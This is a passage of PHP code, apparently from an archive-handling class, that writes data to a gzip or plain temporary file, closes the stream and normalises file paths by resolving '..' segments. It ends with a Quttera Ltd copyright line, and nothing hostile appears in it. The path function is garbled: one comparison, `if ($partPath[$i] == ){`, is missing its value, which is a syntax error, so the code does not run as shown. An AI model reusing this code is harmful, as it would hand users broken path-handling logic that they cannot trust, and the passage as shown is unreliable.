if ($this->isFileCompressed)
gzputs($this->intermediateFile, $data);
else
fputs($this->intermediateFile, $data);
} else {
if ($this->isFileCompressed)
gzputs($this->intermediateFile, $data, $length);
else
fputs($this->intermediateFile, $data, $length);
}
}
}
function closeTempFileStream(){
if (is_resource($this->intermediateFile)){
if ($this->isFileCompressed)
gzclose($this->intermediateFile);
else
fclose($this->intermediateFile);
$this->intermediateFile = 0;
}
}
function constructFilePath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == ){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
© 2023 Quttera Ltd. All rights reserved.